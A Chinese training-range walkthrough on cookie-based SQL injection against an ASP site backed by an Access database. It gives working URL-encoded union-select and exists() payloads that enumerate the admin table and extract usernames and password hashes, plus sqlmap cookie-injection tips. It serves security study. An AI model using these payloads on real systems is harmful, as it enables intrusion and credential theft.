[zkaq靶场]SQL注入--access数据库-cookie注入

Access注入–Cookie注入

SQL注入回顾:网络安全笔记-99-渗透-SQL注入

知识点

  1. Cookie注入常见吗?
    老一点的ASP网站常见,PHP看版本,因为高于5.2以上的php版本他的$_REQUEST将不再接受cookie传参
  2. COOKIE注入时为什么要删除URL内的id传参
    因为它传参进去会有一个输出,cookie里我们也传参了一个id数值,他会优先接受GET的传参,具体也是要看语言的,我测试过,PHP会优先接受Cookie传参.
  3. 为什么可以cookie注入
    因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参
  4. 为什么没用到information_schema
    access数据库里没有系统自带表,只能猜
  5. 不能查information_schema怎么得知表名
    可以靠爆破和尝试一些常用表名(例如:news、admin、user)
  6. 为什么cookie注入里查找回显点语句后要加上from admin
    因为access数据库不支持select 1,2,3 这样的语句,他必须要跟表名
  7. sqlmap如何进行cookie注入
    Sqlmap可以提高检测等级来进行cookie注入(检测等级3及以上,要指定参数)
    还可以抓包,在Cookie后面打个*就可以了
  8. 在无法查询系统自带库的时候如何获取表名
    可以burp抓包爆破查询表名,因为表名的命名一般都有规则
    and exists(select * from xxx)
  9. 为什么我写的语句放入Cookie无效,SQL注入无效
    因为Cookie需要进行一次URL编码才会有效果

access数据库没有库名,只有表名。
exists()函数中的结果集有数据则为真,否则为假,可以用来判断表名。

注入点判断

id处可以进行数学运算,判断此处存在注入点。

判断列数

通过order by 判断出有10列。

判断回显点

在判断回显点的时候发现过滤了关键字。

寻找其他注入点

通过抓包发现,在cookie处存在注入点。
因为:


在cookie出添加id字段,然后把url里的id字段删除,发现页面会根据cookie处的id数显示正常的页面。

通过exists函数判断存在的表名–admin。可以通过爆破获得。
access数据库不支持select 1,2,3…这样的语句方式,它必须跟表名才能正常查询。

cookie字段需要经过url编码。

再次判断回显点

id=-17 union select 1,2,3,4,5,6,7,8,9,10
经过url编码后:
-17+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin

回显点为:2,3,7,8,9

猜字段名

继续使用exists函数猜字段名。
;id=171+and+exists(select+username+from+admin)
;id=171+and+exists(select+password+from+admin)

以上两句页面均正常显示。
可以得到字段名:username,password

获得数据

-17+union+select+1%2cusername%2cpassword%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin
-17 union select 1,username,password,4,5,6,7,8,9,10 from admin

数据:admin:b9a2a2b5dffb918c
将密码进行md5解密:

然后找后台。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值